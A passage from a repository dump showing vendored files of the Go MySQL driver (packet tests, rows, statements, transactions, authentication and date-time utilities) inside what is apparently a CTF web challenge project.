err\n\n\t\tcase\n\t\t\tfieldTypeDate, fieldTypeNewDate, // Date YYYY-MM-DD\n\t\t\tfieldTypeTime,                         // Time [-][H]HH:MM:SS[.fractal]\n\t\t\tfieldTypeTimestamp, fieldTypeDateTime: // Timestamp YYYY-MM-DD HH:MM:SS[.fractal]\n\n\t\t\tnum, isNull, n := readLengthEncodedInteger(data[pos:])\n\t\t\tpos += n\n\n\t\t\tswitch {\n\t\t\tcase isNull:\n\t\t\t\tdest[i] = nil\n\t\t\t\tcontinue\n\t\t\tcase rows.columns[i].fieldType == fieldTypeTime:\n\t\t\t\t// database/sql does not support an equivalent to TIME, return a string\n\t\t\t\tvar dstlen uint8\n\t\t\t\tswitch decimals := rows.columns[i].decimals; decimals {\n\t\t\t\tcase 0x00, 0x1f:\n\t\t\t\t\tdstlen = 8\n\t\t\t\tcase 1, 2, 3, 4, 5, 6:\n\t\t\t\t\tdstlen = 8 + 1 + decimals\n\t\t\t\tdefault:\n\t\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\t\"protocol error, illegal decimals value %d\",\n\t\t\t\t\t\trows.columns[i].decimals,\n\t\t\t\t\t)\n\t\t\t\t}\n\t\t\t\tdest[i], err = formatBinaryDateTime(data[pos:pos+int(num)], dstlen, true)\n\t\t\tcase rows.mc.parseTime:\n\t\t\t\tdest[i], err = parseBinaryDateTime(num, data[pos:], rows.mc.cfg.Loc)\n\t\t\tdefault:\n\t\t\t\tvar dstlen uint8\n\t\t\t\tif rows.columns[i].fieldType == fieldTypeDate {\n\t\t\t\t\tdstlen = 10\n\t\t\t\t} else {\n\t\t\t\t\tswitch decimals := rows.columns[i].decimals; decimals {\n\t\t\t\t\tcase 0x00, 0x1f:\n\t\t\t\t\t\tdstlen = 19\n\t\t\t\t\tcase 1, 2, 3, 4, 5, 6:\n\t\t\t\t\t\tdstlen = 19 + 1 + decimals\n\t\t\t\t\tdefault:\n\t\t\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\t\t\"protocol error, illegal decimals value %d\",\n\t\t\t\t\t\t\trows.columns[i].decimals,\n\t\t\t\t\t\t)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tdest[i], err = formatBinaryDateTime(data[pos:pos+int(num)], dstlen, false)\n\t\t\t}\n\n\t\t\tif err == nil {\n\t\t\t\tpos += int(num)\n\t\t\t\tcontinue\n\t\t\t} else {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t// Please report if this happens!\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"unknown field type %d\", rows.columns[i].fieldType)\n\t\t}\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/packets_test.go",
    "content": "// Go MySQL Driver - A MySQL-Driver for Go's database/sql package\n//\n// Copyright 2016 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\npackage mysql\n\nimport (\n\t\"database/sql/driver\"\n\t\"errors\"\n\t\"net\"\n\t\"testing\"\n\t\"time\"\n)\n\nvar (\n\terrConnClosed        = errors.New(\"connection is closed\")\n\terrConnTooManyReads  = errors.New(\"too many reads\")\n\terrConnTooManyWrites = errors.New(\"too many writes\")\n)\n\n// struct to mock a net.Conn for testing purposes\ntype mockConn struct {\n\tladdr     net.Addr\n\traddr     net.Addr\n\tdata      []byte\n\tclosed    bool\n\tread      int\n\twritten   int\n\treads     int\n\twrites    int\n\tmaxReads  int\n\tmaxWrites int\n}\n\nfunc (m *mockConn) Read(b []byte) (n int, err error) {\n\tif m.closed {\n\t\treturn 0, errConnClosed\n\t}\n\n\tm.reads++\n\tif m.maxReads > 0 && m.reads > m.maxReads {\n\t\treturn 0, errConnTooManyReads\n\t}\n\n\tn = copy(b, m.data)\n\tm.read += n\n\tm.data = m.data[n:]\n\treturn\n}\nfunc (m *mockConn) Write(b []byte) (n int, err error) {\n\tif m.closed {\n\t\treturn 0, errConnClosed\n\t}\n\n\tm.writes++\n\tif m.maxWrites > 0 && m.writes > m.maxWrites {\n\t\treturn 0, errConnTooManyWrites\n\t}\n\n\tn = len(b)\n\tm.written += n\n\treturn\n}\nfunc (m *mockConn) Close() error {\n\tm.closed = true\n\treturn nil\n}\nfunc (m *mockConn) LocalAddr() net.Addr {\n\treturn m.laddr\n}\nfunc (m *mockConn) RemoteAddr() net.Addr {\n\treturn m.raddr\n}\nfunc (m *mockConn) SetDeadline(t time.Time) error {\n\treturn nil\n}\nfunc (m *mockConn) SetReadDeadline(t time.Time) error {\n\treturn nil\n}\nfunc (m *mockConn) SetWriteDeadline(t time.Time) error {\n\treturn nil\n}\n\n// make sure mockConn implements the net.Conn interface\nvar _ net.Conn = new(mockConn)\n\nfunc TestReadPacketSingleByte(t *testing.T) {\n\tconn := new(mockConn)\n\tmc := &mysqlConn{\n\t\tbuf: newBuffer(conn),\n\t}\n\n\tconn.data = []byte{0x01, 0x00, 0x00, 0x00, 0xff}\n\tconn.maxReads = 1\n\tpacket, err := mc.readPacket()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif len(packet) != 1 {\n\t\tt.Fatalf(\"unexpected packet lenght: expected %d, got %d\", 1, len(packet))\n\t}\n\tif packet[0] != 0xff {\n\t\tt.Fatalf(\"unexpected packet content: expected %x, got %x\", 0xff, packet[0])\n\t}\n}\n\nfunc TestReadPacketWrongSequenceID(t *testing.T) {\n\tconn := new(mockConn)\n\tmc := &mysqlConn{\n\t\tbuf: newBuffer(conn),\n\t}\n\n\t// too low sequence id\n\tconn.data = []byte{0x01, 0x00, 0x00, 0x00, 0xff}\n\tconn.maxReads = 1\n\tmc.sequence = 1\n\t_, err := mc.readPacket()\n\tif err != ErrPktSync {\n\t\tt.Errorf(\"expected ErrPktSync, got %v\", err)\n\t}\n\n\t// reset\n\tconn.reads = 0\n\tmc.sequence = 0\n\tmc.buf = newBuffer(conn)\n\n\t// too high sequence id\n\tconn.data = []byte{0x01, 0x00, 0x00, 0x42, 0xff}\n\t_, err = mc.readPacket()\n\tif err != ErrPktSyncMul {\n\t\tt.Errorf(\"expected ErrPktSyncMul, got %v\", err)\n\t}\n}\n\nfunc TestReadPacketSplit(t *testing.T) {\n\tconn := new(mockConn)\n\tmc := &mysqlConn{\n\t\tbuf: newBuffer(conn),\n\t}\n\n\tdata := make([]byte, maxPacketSize*2+4*3)\n\tconst pkt2ofs = maxPacketSize + 4\n\tconst pkt3ofs = 2 * (maxPacketSize + 4)\n\n\t// case 1: payload has length maxPacketSize\n\tdata = data[:pkt2ofs+4]\n\n\t// 1st packet has maxPacketSize length and sequence id 0\n\t// ff ff ff 00 ...\n\tdata[0] = 0xff\n\tdata[1] = 0xff\n\tdata[2] = 0xff\n\n\t// mark the payload start and end of 1st packet so that we can check if the\n\t// content was correctly appended\n\tdata[4] = 0x11\n\tdata[maxPacketSize+3] = 0x22\n\n\t// 2nd packet has payload length 0 and squence id 1\n\t// 00 00 00 01\n\tdata[pkt2ofs+3] = 0x01\n\n\tconn.data = data\n\tconn.maxReads = 3\n\tpacket, err := mc.readPacket()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif len(packet) != maxPacketSize {\n\t\tt.Fatalf(\"unexpected packet lenght: expected %d, got %d\", maxPacketSize, len(packet))\n\t}\n\tif packet[0] != 0x11 {\n\t\tt.Fatalf(\"unexpected payload start: expected %x, got %x\", 0x11, packet[0])\n\t}\n\tif packet[maxPacketSize-1] != 0x22 {\n\t\tt.Fatalf(\"unexpected payload end: expected %x, got %x\", 0x22, packet[maxPacketSize-1])\n\t}\n\n\t// case 2: payload has length which is a multiple of maxPacketSize\n\tdata = data[:cap(data)]\n\n\t// 2nd packet now has maxPacketSize length\n\tdata[pkt2ofs] = 0xff\n\tdata[pkt2ofs+1] = 0xff\n\tdata[pkt2ofs+2] = 0xff\n\n\t// mark the payload start and end of the 2nd packet\n\tdata[pkt2ofs+4] = 0x33\n\tdata[pkt2ofs+maxPacketSize+3] = 0x44\n\n\t// 3rd packet has payload length 0 and squence id 2\n\t// 00 00 00 02\n\tdata[pkt3ofs+3] = 0x02\n\n\tconn.data = data\n\tconn.reads = 0\n\tconn.maxReads = 5\n\tmc.sequence = 0\n\tpacket, err = mc.readPacket()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif len(packet) != 2*maxPacketSize {\n\t\tt.Fatalf(\"unexpected packet lenght: expected %d, got %d\", 2*maxPacketSize, len(packet))\n\t}\n\tif packet[0] != 0x11 {\n\t\tt.Fatalf(\"unexpected payload start: expected %x, got %x\", 0x11, packet[0])\n\t}\n\tif packet[2*maxPacketSize-1] != 0x44 {\n\t\tt.Fatalf(\"unexpected payload end: expected %x, got %x\", 0x44, packet[2*maxPacketSize-1])\n\t}\n\n\t// case 3: payload has a length larger maxPacketSize, which is not an exact\n\t// multiple of it\n\tdata = data[:pkt2ofs+4+42]\n\tdata[pkt2ofs] = 0x2a\n\tdata[pkt2ofs+1] = 0x00\n\tdata[pkt2ofs+2] = 0x00\n\tdata[pkt2ofs+4+41] = 0x44\n\n\tconn.data = data\n\tconn.reads = 0\n\tconn.maxReads = 4\n\tmc.sequence = 0\n\tpacket, err = mc.readPacket()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif len(packet) != maxPacketSize+42 {\n\t\tt.Fatalf(\"unexpected packet lenght: expected %d, got %d\", maxPacketSize+42, len(packet))\n\t}\n\tif packet[0] != 0x11 {\n\t\tt.Fatalf(\"unexpected payload start: expected %x, got %x\", 0x11, packet[0])\n\t}\n\tif packet[maxPacketSize+41] != 0x44 {\n\t\tt.Fatalf(\"unexpected payload end: expected %x, got %x\", 0x44, packet[maxPacketSize+41])\n\t}\n}\n\nfunc TestReadPacketFail(t *testing.T) {\n\tconn := new(mockConn)\n\tmc := &mysqlConn{\n\t\tbuf: newBuffer(conn),\n\t}\n\n\t// illegal empty (stand-alone) packet\n\tconn.data = []byte{0x00, 0x00, 0x00, 0x00}\n\tconn.maxReads = 1\n\t_, err := mc.readPacket()\n\tif err != driver.ErrBadConn {\n\t\tt.Errorf(\"expected ErrBadConn, got %v\", err)\n\t}\n\n\t// reset\n\tconn.reads = 0\n\tmc.sequence = 0\n\tmc.buf = newBuffer(conn)\n\n\t// fail to read header\n\tconn.closed = true\n\t_, err = mc.readPacket()\n\tif err != driver.ErrBadConn {\n\t\tt.Errorf(\"expected ErrBadConn, got %v\", err)\n\t}\n\n\t// reset\n\tconn.closed = false\n\tconn.reads = 0\n\tmc.sequence = 0\n\tmc.buf = newBuffer(conn)\n\n\t// fail to read body\n\tconn.maxReads = 1\n\t_, err = mc.readPacket()\n\tif err != driver.ErrBadConn {\n\t\tt.Errorf(\"expected ErrBadConn, got %v\", err)\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/result.go",
    "content": "// Go MySQL Driver - A MySQL-Driver for Go's database/sql package\n//\n// Copyright 2012 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\npackage mysql\n\ntype mysqlResult struct {\n\taffectedRows int64\n\tinsertId     int64\n}\n\nfunc (res *mysqlResult) LastInsertId() (int64, error) {\n\treturn res.insertId, nil\n}\n\nfunc (res *mysqlResult) RowsAffected() (int64, error) {\n\treturn res.affectedRows, nil\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/rows.go",
    "content": "// Go MySQL Driver - A MySQL-Driver for Go's database/sql package\n//\n// Copyright 2012 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\npackage mysql\n\nimport (\n\t\"database/sql/driver\"\n\t\"io\"\n)\n\ntype mysqlField struct {\n\ttableName string\n\tname      string\n\tflags     fieldFlag\n\tfieldType byte\n\tdecimals  byte\n}\n\ntype mysqlRows struct {\n\tmc      *mysqlConn\n\tcolumns []mysqlField\n}\n\ntype binaryRows struct {\n\tmysqlRows\n}\n\ntype textRows struct {\n\tmysqlRows\n}\n\ntype emptyRows struct{}\n\nfunc (rows *mysqlRows) Columns() []string {\n\tcolumns := make([]string, len(rows.columns))\n\tif rows.mc != nil && rows.mc.cfg.ColumnsWithAlias {\n\t\tfor i := range columns {\n\t\t\tif tableName := rows.columns[i].tableName; len(tableName) > 0 {\n\t\t\t\tcolumns[i] = tableName + \".\" + rows.columns[i].name\n\t\t\t} else {\n\t\t\t\tcolumns[i] = rows.columns[i].name\n\t\t\t}\n\t\t}\n\t} else {\n\t\tfor i := range columns {\n\t\t\tcolumns[i] = rows.columns[i].name\n\t\t}\n\t}\n\treturn columns\n}\n\nfunc (rows *mysqlRows) Close() error {\n\tmc := rows.mc\n\tif mc == nil {\n\t\treturn nil\n\t}\n\tif mc.netConn == nil {\n\t\treturn ErrInvalidConn\n\t}\n\n\t// Remove unread packets from stream\n\terr := mc.readUntilEOF()\n\tif err == nil {\n\t\tif err = mc.discardResults(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\trows.mc = nil\n\treturn err\n}\n\nfunc (rows *binaryRows) Next(dest []driver.Value) error {\n\tif mc := rows.mc; mc != nil {\n\t\tif mc.netConn == nil {\n\t\t\treturn ErrInvalidConn\n\t\t}\n\n\t\t// Fetch next row from stream\n\t\treturn rows.readRow(dest)\n\t}\n\treturn io.EOF\n}\n\nfunc (rows *textRows) Next(dest []driver.Value) error {\n\tif mc := rows.mc; mc != nil {\n\t\tif mc.netConn == nil {\n\t\t\treturn ErrInvalidConn\n\t\t}\n\n\t\t// Fetch next row from stream\n\t\treturn rows.readRow(dest)\n\t}\n\treturn io.EOF\n}\n\nfunc (rows emptyRows) Columns() []string {\n\treturn nil\n}\n\nfunc (rows emptyRows) Close() error {\n\treturn nil\n}\n\nfunc (rows emptyRows) Next(dest []driver.Value) error {\n\treturn io.EOF\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/statement.go",
    "content": "// Go MySQL Driver - A MySQL-Driver for Go's database/sql package\n//\n// Copyright 2012 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\npackage mysql\n\nimport (\n\t\"database/sql/driver\"\n\t\"fmt\"\n\t\"reflect\"\n\t\"strconv\"\n)\n\ntype mysqlStmt struct {\n\tmc         *mysqlConn\n\tid         uint32\n\tparamCount int\n\tcolumns    []mysqlField // cached from the first query\n}\n\nfunc (stmt *mysqlStmt) Close() error {\n\tif stmt.mc == nil || stmt.mc.netConn == nil {\n\t\t// driver.Stmt.Close can be called more than once, thus this function\n\t\t// has to be idempotent.\n\t\t// See also Issue #450 and golang/go#16019.\n\t\t//errLog.Print(ErrInvalidConn)\n\t\treturn driver.ErrBadConn\n\t}\n\n\terr := stmt.mc.writeCommandPacketUint32(comStmtClose, stmt.id)\n\tstmt.mc = nil\n\treturn err\n}\n\nfunc (stmt *mysqlStmt) NumInput() int {\n\treturn stmt.paramCount\n}\n\nfunc (stmt *mysqlStmt) ColumnConverter(idx int) driver.ValueConverter {\n\treturn converter{}\n}\n\nfunc (stmt *mysqlStmt) Exec(args []driver.Value) (driver.Result, error) {\n\tif stmt.mc.netConn == nil {\n\t\terrLog.Print(ErrInvalidConn)\n\t\treturn nil, driver.ErrBadConn\n\t}\n\t// Send command\n\terr := stmt.writeExecutePacket(args)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmc := stmt.mc\n\n\tmc.affectedRows = 0\n\tmc.insertId = 0\n\n\t// Read Result\n\tresLen, err := mc.readResultSetHeaderPacket()\n\tif err == nil {\n\t\tif resLen > 0 {\n\t\t\t// Columns\n\t\t\terr = mc.readUntilEOF()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\t// Rows\n\t\t\terr = mc.readUntilEOF()\n\t\t}\n\t\tif err == nil {\n\t\t\treturn &mysqlResult{\n\t\t\t\taffectedRows: int64(mc.affectedRows),\n\t\t\t\tinsertId:     int64(mc.insertId),\n\t\t\t}, nil\n\t\t}\n\t}\n\n\treturn nil, err\n}\n\nfunc (stmt *mysqlStmt) Query(args []driver.Value) (driver.Rows, error) {\n\tif stmt.mc.netConn == nil {\n\t\terrLog.Print(ErrInvalidConn)\n\t\treturn nil, driver.ErrBadConn\n\t}\n\t// Send command\n\terr := stmt.writeExecutePacket(args)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmc := stmt.mc\n\n\t// Read Result\n\tresLen, err := mc.readResultSetHeaderPacket()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trows := new(binaryRows)\n\n\tif resLen > 0 {\n\t\trows.mc = mc\n\t\t// Columns\n\t\t// If not cached, read them and cache them\n\t\tif stmt.columns == nil {\n\t\t\trows.columns, err = mc.readColumns(resLen)\n\t\t\tstmt.columns = rows.columns\n\t\t} else {\n\t\t\trows.columns = stmt.columns\n\t\t\terr = mc.readUntilEOF()\n\t\t}\n\t}\n\n\treturn rows, err\n}\n\ntype converter struct{}\n\nfunc (c converter) ConvertValue(v interface{}) (driver.Value, error) {\n\tif driver.IsValue(v) {\n\t\treturn v, nil\n\t}\n\n\trv := reflect.ValueOf(v)\n\tswitch rv.Kind() {\n\tcase reflect.Ptr:\n\t\t// indirect pointers\n\t\tif rv.IsNil() {\n\t\t\treturn nil, nil\n\t\t}\n\t\treturn c.ConvertValue(rv.Elem().Interface())\n\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\treturn rv.Int(), nil\n\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32:\n\t\treturn int64(rv.Uint()), nil\n\tcase reflect.Uint64:\n\t\tu64 := rv.Uint()\n\t\tif u64 >= 1<<63 {\n\t\t\treturn strconv.FormatUint(u64, 10), nil\n\t\t}\n\t\treturn int64(u64), nil\n\tcase reflect.Float32, reflect.Float64:\n\t\treturn rv.Float(), nil\n\t}\n\treturn nil, fmt.Errorf(\"unsupported type %T, a %s\", v, rv.Kind())\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/transaction.go",
    "content": "// Go MySQL Driver - A MySQL-Driver for Go's database/sql package\n//\n// Copyright 2012 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\npackage mysql\n\ntype mysqlTx struct {\n\tmc *mysqlConn\n}\n\nfunc (tx *mysqlTx) Commit() (err error) {\n\tif tx.mc == nil || tx.mc.netConn == nil {\n\t\treturn ErrInvalidConn\n\t}\n\terr = tx.mc.exec(\"COMMIT\")\n\ttx.mc = nil\n\treturn\n}\n\nfunc (tx *mysqlTx) Rollback() (err error) {\n\tif tx.mc == nil || tx.mc.netConn == nil {\n\t\treturn ErrInvalidConn\n\t}\n\terr = tx.mc.exec(\"ROLLBACK\")\n\ttx.mc = nil\n\treturn\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/utils.go",
    "content": "// Go MySQL Driver - A MySQL-Driver for Go's database/sql package\n//\n// Copyright 2012 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\npackage mysql\n\nimport (\n\t\"crypto/sha1\"\n\t\"crypto/tls\"\n\t\"database/sql/driver\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"io\"\n\t\"strings\"\n\t\"time\"\n)\n\nvar (\n\ttlsConfigRegister map[string]*tls.Config // Register for custom tls.Configs\n)\n\n// RegisterTLSConfig registers a custom tls.Config to be used with sql.Open.\n// Use the key as a value in the DSN where tls=value.\n//\n//  rootCertPool := x509.NewCertPool()\n//  pem, err := ioutil.ReadFile(\"/path/ca-cert.pem\")\n//  if err != nil {\n//      log.Fatal(err)\n//  }\n//  if ok := rootCertPool.AppendCertsFromPEM(pem); !ok {\n//      log.Fatal(\"Failed to append PEM.\")\n//  }\n//  clientCert := make([]tls.Certificate, 0, 1)\n//  certs, err := tls.LoadX509KeyPair(\"/path/client-cert.pem\", \"/path/client-key.pem\")\n//  if err != nil {\n//      log.Fatal(err)\n//  }\n//  clientCert = append(clientCert, certs)\n//  mysql.RegisterTLSConfig(\"custom\", &tls.Config{\n//      RootCAs: rootCertPool,\n//      Certificates: clientCert,\n//  })\n//  db, err := sql.Open(\"mysql\", \"user@tcp(localhost:3306)/test?tls=custom\")\n//\nfunc RegisterTLSConfig(key string, config *tls.Config) error {\n\tif _, isBool := readBool(key); isBool || strings.ToLower(key) == \"skip-verify\" {\n\t\treturn fmt.Errorf(\"key '%s' is reserved\", key)\n\t}\n\n\tif tlsConfigRegister == nil {\n\t\ttlsConfigRegister = make(map[string]*tls.Config)\n\t}\n\n\ttlsConfigRegister[key] = config\n\treturn nil\n}\n\n// DeregisterTLSConfig removes the tls.Config associated with key.\nfunc DeregisterTLSConfig(key string) {\n\tif tlsConfigRegister != nil {\n\t\tdelete(tlsConfigRegister, key)\n\t}\n}\n\n// Returns the bool value of the input.\n// The 2nd return value indicates if the input was a valid bool value\nfunc readBool(input string) (value bool, valid bool) {\n\tswitch input {\n\tcase \"1\", \"true\", \"TRUE\", \"True\":\n\t\treturn true, true\n\tcase \"0\", \"false\", \"FALSE\", \"False\":\n\t\treturn false, true\n\t}\n\n\t// Not a valid bool value\n\treturn\n}\n\n/******************************************************************************\n*                             Authentication                                  *\n******************************************************************************/\n\n// Encrypt password using 4.1+ method\nfunc scramblePassword(scramble, password []byte) []byte {\n\tif len(password) == 0 {\n\t\treturn nil\n\t}\n\n\t// stage1Hash = SHA1(password)\n\tcrypt := sha1.New()\n\tcrypt.Write(password)\n\tstage1 := crypt.Sum(nil)\n\n\t// scrambleHash = SHA1(scramble + SHA1(stage1Hash))\n\t// inner Hash\n\tcrypt.Reset()\n\tcrypt.Write(stage1)\n\thash := crypt.Sum(nil)\n\n\t// outer Hash\n\tcrypt.Reset()\n\tcrypt.Write(scramble)\n\tcrypt.Write(hash)\n\tscramble = crypt.Sum(nil)\n\n\t// token = scrambleHash XOR stage1Hash\n\tfor i := range scramble {\n\t\tscramble[i] ^= stage1[i]\n\t}\n\treturn scramble\n}\n\n// Encrypt password using pre 4.1 (old password) method\n// https://github.com/atcurtis/mariadb/blob/master/mysys/my_rnd.c\ntype myRnd struct {\n\tseed1, seed2 uint32\n}\n\nconst myRndMaxVal = 0x3FFFFFFF\n\n// Pseudo random number generator\nfunc newMyRnd(seed1, seed2 uint32) *myRnd {\n\treturn &myRnd{\n\t\tseed1: seed1 % myRndMaxVal,\n\t\tseed2: seed2 % myRndMaxVal,\n\t}\n}\n\n// Tested to be equivalent to MariaDB's floating point variant\n// http://play.golang.org/p/QHvhd4qved\n// http://play.golang.org/p/RG0q4ElWDx\nfunc (r *myRnd) NextByte() byte {\n\tr.seed1 = (r.seed1*3 + r.seed2) % myRndMaxVal\n\tr.seed2 = (r.seed1 + r.seed2 + 33) % myRndMaxVal\n\n\treturn byte(uint64(r.seed1) * 31 / myRndMaxVal)\n}\n\n// Generate binary hash from byte string using insecure pre 4.1 method\nfunc pwHash(password []byte) (result [2]uint32) {\n\tvar add uint32 = 7\n\tvar tmp uint32\n\n\tresult[0] = 1345345333\n\tresult[1] = 0x12345671\n\n\tfor _, c := range password {\n\t\t// skip spaces and tabs in password\n\t\tif c == ' ' || c == '\\t' {\n\t\t\tcontinue\n\t\t}\n\n\t\ttmp = uint32(c)\n\t\tresult[0] ^= (((result[0] & 63) + add) * tmp) + (result[0] << 8)\n\t\tresult[1] += (result[1] << 8) ^ result[0]\n\t\tadd += tmp\n\t}\n\n\t// Remove sign bit (1<<31)-1)\n\tresult[0] &= 0x7FFFFFFF\n\tresult[1] &= 0x7FFFFFFF\n\n\treturn\n}\n\n// Encrypt password using insecure pre 4.1 method\nfunc scrambleOldPassword(scramble, password []byte) []byte {\n\tif len(password) == 0 {\n\t\treturn nil\n\t}\n\n\tscramble = scramble[:8]\n\n\thashPw := pwHash(password)\n\thashSc := pwHash(scramble)\n\n\tr := newMyRnd(hashPw[0]^hashSc[0], hashPw[1]^hashSc[1])\n\n\tvar out [8]byte\n\tfor i := range out {\n\t\tout[i] = r.NextByte() + 64\n\t}\n\n\tmask := r.NextByte()\n\tfor i := range out {\n\t\tout[i] ^= mask\n\t}\n\n\treturn out[:]\n}\n\n/******************************************************************************\n*                           Time related utils                                *\n******************************************************************************/\n\n// NullTime represents a time.Time that may be NULL.\n// NullTime implements the Scanner interface so\n// it can be used as a scan destination:\n//\n//  var nt NullTime\n//  err := db.QueryRow(\"SELECT time FROM foo WHERE id=?\", id).Scan(&nt)\n//  ...\n//  if nt.Valid {\n//     // use nt.Time\n//  } else {\n//     // NULL value\n//  }\n//\n// This NullTime implementation is not driver-specific\ntype NullTime struct {\n\tTime  time.Time\n\tValid bool // Valid is true if Time is not NULL\n}\n\n// Scan implements the Scanner interface.\n// The value type must be time.Time or string / []byte (formatted time-string),\n// otherwise Scan fails.\nfunc (nt *NullTime) Scan(value interface{}) (err error) {\n\tif value == nil {\n\t\tnt.Time, nt.Valid = time.Time{}, false\n\t\treturn\n\t}\n\n\tswitch v := value.(type) {\n\tcase time.Time:\n\t\tnt.Time, nt.Valid = v, true\n\t\treturn\n\tcase []byte:\n\t\tnt.Time, err = parseDateTime(string(v), time.UTC)\n\t\tnt.Valid = (err == nil)\n\t\treturn\n\tcase string:\n\t\tnt.Time, err = parseDateTime(v, time.UTC)\n\t\tnt.Valid = (err == nil)\n\t\treturn\n\t}\n\n\tnt.Valid = false\n\treturn fmt.Errorf(\"Can't convert %T to time.Time\", value)\n}\n\n// Value implements the driver Valuer interface.\nfunc (nt NullTime) Value() (driver.Value, error) {\n\tif !nt.Valid {\n\t\treturn nil, nil\n\t}\n\treturn nt.Time, nil\n}\n\nfunc parseDateTime(str string, loc *time.Location) (t time.Time, err error) {\n\tbase := \"0000-00-00 00:00:00.0000000\"\n\tswitch len(str) {\n\tcase 10, 19, 21, 22, 23, 24, 25, 26: // up to \"YYYY-MM-DD HH:MM:SS.MMMMMM\"\n\t\tif str == base[:len(str)] {\n\t\t\treturn\n\t\t}\n\t\tt, err = time.Parse(timeFormat[:len(str)], str)\n\tdefault:\n\t\terr = fmt.Errorf(\"invalid time string: %s\", str)\n\t\treturn\n\t}\n\n\t// Adjust location\n\tif err == nil && loc != time.UTC {\n\t\ty, mo, d := t.Date()\n\t\th, mi, s := t.Clock()\n\t\tt, err = time.Date(y, mo, d, h, mi, s, t.Nanosecond(), loc), nil\n\t}\n\n\treturn\n}\n\nfunc parseBinaryDateTime(num uint64, data []byte, loc *time.Location) (driver.Value, error) {\n\tswitch num {\n\tcase 0:\n\t\treturn time.Time{}, nil\n\tcase 4:\n\t\treturn time.Date(\n\t\t\tint(binary.LittleEndian.Uint16(data[:2])), // year\n\t\t\ttime.Month(data[2]),                       // month\n\t\t\tint(data[3]),                              // day\n\t\t\t0, 0, 0, 0,\n\t\t\tloc,\n\t\t), nil\n\tcase 7:\n\t\treturn time.Date(\n\t\t\tint(binary.LittleEndian.Uint16(data[:2])), // year\n\t\t\ttime.Month(data[2]),                       // month\n\t\t\tint(data[3]),                              // day\n\t\t\tint(data[4]),                              // hour\n\t\t\tint(data[5]),                              // minutes\n\t\t\tint(data[6]),                              // seconds\n\t\t\t0,\n\t\t\tloc,\n\t\t), nil\n\tcase 11:\n\t\treturn time.Date(\n\t\t\tint(binary.LittleEndian.Uint16(data[:2])), // year\n\t\t\ttime.Month(data[2]),                       // month\n\t\t\tint(data[3]),                              // day\n\t\t\tint(data[4]),                              // hour\n\t\t\tint(data[5]),                              // minutes\n\t\t\tint(data[6]),                              // seconds\n\t\t\tint(binary.LittleEndian.Uint32(data[7:11]))*1000, // nanoseconds\n\t\t\tloc,\n\t\t), nil\n\t}\n\treturn nil, fmt.Errorf(\"invalid DATETIME packet length %d\", num)\n}\n\n// zeroDateTime is used in formatBinaryDateTime to avoid an allocation\n// if the DATE or DATETIME has the zero value.\n// It must never be changed.\n// The current behavior depends on database/sql copying the result.\nvar zeroDateTime = []byte(\"0000-00-00 00:00:00.000000\")\n\nconst digits01 = \"0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789\"\nconst digits10 = \"0000000000111111111122222222223333333333444444444455555555556666666666777777777788888888889999999999\"\n\nfunc formatBinaryDateTime(src []byte, length uint8, justTime bool) (driver.Value, error) {\n\t// length expects the deterministic length of the zero value,\n\t// negative time and 100+ hours are automatically added if needed\n\tif len(src) == 0 {\n\t\tif justTime {\n\t\t\treturn zeroDateTime[11 : 11+length], nil\n\t\t}\n\t\treturn zeroDateTime[:length], nil\n\t}\n\tvar dst []byte          // return value\n\tvar pt, p1, p2, p3 byte // current digit pair\n\tvar zOffs byte          // offset of value in zeroDateTime\n\tif justTime {\n\t\tswitch length {\n\t\tcase\n\t\t\t8,                      // time (can 